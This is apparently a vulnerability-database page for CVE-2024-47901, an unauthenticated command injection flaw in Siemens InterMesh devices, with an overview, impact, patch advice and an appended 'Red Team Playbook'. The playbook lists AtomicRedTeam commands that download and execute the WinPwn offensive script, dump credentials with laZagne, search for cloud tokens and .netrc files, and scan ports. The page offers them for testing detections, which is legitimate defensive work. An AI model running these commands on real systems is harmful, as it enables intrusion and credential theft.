CVE-2024-47901
Overview
This vulnerability is a command injection flaw caused by improper input sanitization in the web server component of Siemens InterMesh 7177 Hybrid 2.0 Subscriber and InterMesh 7707 Fire Subscriber devices. Specifically, certain GET request parameters are not validated or sanitized, allowing injection of arbitrary operating system commands. The issue affects the HTTP interface when processing these parameters, enabling execution at the OS level due to the lack of input filtering.
Vulnerability Description
A vulnerability has been identified in InterMesh 7177 Hybrid 2.0 Subscriber (All versions < V8.2.12), InterMesh 7707 Fire Subscriber (All versions < V7.2.12 only if the IP interface is enabled (which is not the default configuration)). The web server of affected devices does not sanitize the input parameters in specific GET requests that allow for code execution on operating system level. In combination with other vulnerabilities (CVE-2024-47902, CVE-2024-47903, CVE-2024-47904) this could allow an unauthenticated remote attacker to execute arbitrary code with root privileges.
Impact
An unauthenticated remote attacker can execute arbitrary commands on the operating system with root privileges by exploiting this vulnerability. No user interaction or prior authentication is required, and the attack can be performed over the network via the device’s web interface. This enables full compromise of the affected device, potentially leading to data breach, device control loss, and disruption of network operations. The CVSS vector indicates high impact with network attack vector, low attack complexity, no privileges or user interaction needed, and complete confidentiality, integrity, and availability compromise.
Solution
Siemens has released security advisory SSA-333468 recommending updates to InterMesh 7177 Hybrid 2.0 Subscriber to version V8.2.12 or later, and InterMesh 7707 Fire Subscriber to version V7.2.12 or later when IP interface is enabled. Administrators should apply these firmware updates promptly to remediate the vulnerability. Detailed patch instructions and additional mitigation guidance are available at https://cert-portal.siemens.com/productcert/html/ssa-333468.html.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in specific versions of the InterMesh 7177 Hybrid 2.0 Subscriber and the InterMesh 7707 Fire Subscriber, which could lead to severe security implications. The web server component of these devices fails to adequately sanitize input parameters in certain GET requests. This oversight allows an attacker to inject malicious code, potentially leading to arbitrary code execution at the operating system level. The severity of this vulnerability is heightened by its ability to be exploited remotely without authentication, meaning that an attacker does not need valid credentials to initiate an attack. Furthermore, when combined with other identified vulnerabilities in the same product line, the risk escalates significantly, enabling attackers to gain root privileges and control over the affected devices.
The attack vector for this vulnerability is primarily through crafted HTTP GET requests that exploit the lack of input validation. An attacker could leverage this weakness by sending specially formatted requests to the web server, which would then execute the injected code. This could be achieved from anywhere on the internet, provided the device is accessible. In scenarios where the IP interface is enabled, the risk is particularly pronounced, as it allows for direct interaction with the device's web server. Attackers could utilize this method to deploy malware, manipulate device configurations, or even pivot to other systems within the network, thereby expanding their attack surface.
The real-world impact of this vulnerability is profound, especially for organizations relying on these devices for critical operations. The potential for unauthorized access and control over networked systems can lead to significant business risks, including data breaches, service disruptions, and financial losses. For industries such as manufacturing, energy, and telecommunications, where these devices may be integral to operational technology, the consequences of a successful exploit could be catastrophic. Beyond immediate financial implications, organizations may also face reputational damage, regulatory penalties, and loss of customer trust, which can have long-lasting effects on their market position.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, they should conduct a thorough inventory of all devices running the affected versions of the InterMesh products and assess their exposure to the internet. Network segmentation can be employed to limit access to these devices, ensuring they are not directly accessible from untrusted networks. Regular software updates and patches should be prioritized to ensure that devices are running the latest, most secure versions. Additionally, organizations should deploy intrusion detection systems (IDS) to monitor for unusual traffic patterns that may indicate exploitation attempts. Training staff on security best practices and the importance of device security can further bolster defenses against potential attacks.
In conclusion, the identified vulnerability in the InterMesh devices presents a significant threat that requires immediate attention. The combination of remote exploitation capabilities and the potential for severe operational impact necessitates a proactive stance on security. By understanding the technical details, potential attack vectors, and implementing robust detection and mitigation strategies, organizations can better protect themselves against the risks associated with this vulnerability.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Siemens | Intermesh 7177 Hybrid 2.0 Subscriber | All |
cpe:2.3:o:siemens:intermesh_7177_hybrid_2.0_subscriber:*:*:*:*:*:*:*:*
|
|
|
Siemens | Intermesh 7707 Fire Subscriber Firmware | All |
cpe:2.3:o:siemens:intermesh_7707_fire_subscriber_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
45%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-47901 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-333468.html |